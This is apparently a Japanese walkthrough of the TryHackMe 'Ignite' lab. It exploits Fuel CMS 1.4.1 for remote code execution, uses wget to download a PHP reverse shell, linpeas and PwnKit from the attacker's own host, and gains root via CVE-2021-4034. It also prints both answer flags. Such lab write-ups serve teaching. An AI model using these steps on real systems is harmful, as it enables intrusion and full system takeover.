概要
TryHackMe「Ignite」のWalkthroughです。
Task1
Q1.User.txt
nmap
でポートスキャンを実行します。
$ nmap -Pn -sC -A -T4 -sV 10.10.153.184
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 14:21 EDT
Nmap scan report for 10.10.153.184
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
15742/tcp filtered unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.40 seconds
http:80
のポートがオープンだとわかりました。
隠しディレクトリを列挙します。
$ gobuster dir -u http://10.10.153.184 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
/home (Status: 200) [Size: 16597]
/index (Status: 200) [Size: 16597]
/0 (Status: 200) [Size: 16597]
/assets (Status: 301) [Size: 315] [--> http://10.10.153.184/assets/]
/offline (Status: 200) [Size: 70]
/fuel (Status: 301) [Size: 313] [--> http://10.10.153.184/fuel/]
Webサイトにアクセスすると、Fuel CMS 1.4
を使用していると分かりました。
GitHubも見つかりました。
robots.txt
でも/fuel/
のパスを見つけました。
アクセスするとログインフォームにリダイレクトされました。
インデックスページの下部にクレデンシャル情報を発見しました。
先ほどのログインページに入力するとログインできました。
リバースシェルコードのアップロードを試みましたが、出来ませんでした。
エクスプロイトコードを検索します。
$ searchsploit fuel cms 1.4
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
fuel CMS 1.4.1 - Remote Code Execution (1) | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2) | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3) | php/webapps/50477.py
Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated) | php/webapps/50523.txt
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated) | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated) | php/webapps/48778.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Fuel CMS 1.4.1 - Remote Code Execution (3)
を使用してRCEを成功させました。
$ python /usr/share/exploitdb/exploits/php/webapps/50477.py -u http://10.10.153.184
[+]Connecting...
Enter Command $whoami
systemwww-data
ユーザーフラグゲットです。
$cat /home/www-data/flag.txt
system6470e394cbf6dab6a91682cc8585059b
A.6470e394cbf6dab6a91682cc8585059b
Q2.Root.txt
Netcatなどでリバースシェルを試みましたが成功しませんでした。
なので、リバースシェルファイルをアップロードしての接続を試みました。
リバースシェルファイルがあるディレクトリでHTTPサーバーを立てます。
$ python -m http.server 8000
ターゲットマシンからアクセスさせリバースシェルファイルを/var/www/html
配下に置きます。
$ wget http://10.6.55.144:8000/php-reverse-shell.php
Netcatでリッスンします。
$ nc -lvnp 1234
http://<target ip>/php-reverse-shell.php
にアクセスするとNetcatで接続できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.153.184] 59842
Linux ubuntu 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
12:54:28 up 1:33, 0 users, load average: 10.23, 9.99, 9.89
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
TTYに接続します。
python -c 'import pty; pty.spawn("/bin/sh")'
sudo -l
で権限昇格に繋がりそうなプログラムを探そうとしましたが、パスワードがかかっていました。
$ sudo -l
sudo -l
[sudo] password for www-data:
SUIDビットが設定されたプログラムの検索をします。
$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
/usr/sbin/pppd
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/vmware-user-suid-wrapper
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/passwd
/bin/su
/bin/ping6
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/umount
/bin/fusermount
この時点では権限昇格の手がかりを見つけられませんでした。
linpeas
を使って権限昇格の手掛かりを探します。
KaliでWebサーバーを立てターゲットマシンからダウンロードします。
- Kali
$ python -m http.server 8000
- Target
$ wget http://10.6.55.144:8000/linpeas.sh
linpeas
を実行します。
$ chmod +x linpeas.sh
$ /bin/sh linpeas.sh
sudo
のバージョンが分かったのエクスプロイトコードを探して実行しましたが、刺さりませんでした。
Sudo version 1.8.16
PwnKit
という脆弱性情報を見つけました。
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
Kali側にPwnKitのエクスプロイトコードを用意します。
$ git clone https://github.com/ly4k/PwnKit.git
再度Kali側でHTTPサーバーを立ててターゲットマシンからPwnKitをダウンロードします。
- Kali
$ python -m http.server 8000
- Target
$ wget -r http://10.6.55.144:8000/PwnKit/
PwnKitで特権ユーザーのシェル獲得を試みます。
$ chmod +x ./PwnKit
chmod +x ./PwnKit
$ ./PwnKit '/bin/sh -i'
成功しました。
$ ./PwnKit '/bin/sh -i'
./PwnKit '/bin/sh -i'
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
/root/root.txt
ファイルのフラグを取得してルームクリアです。
# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 34 Jul 26 2019 root.txt
# cat /root/root.txt
cat /root/root.txt
b9bbcb33e11b80be759c4e844862482d
A.b9bbcb33e11b80be759c4e844862482d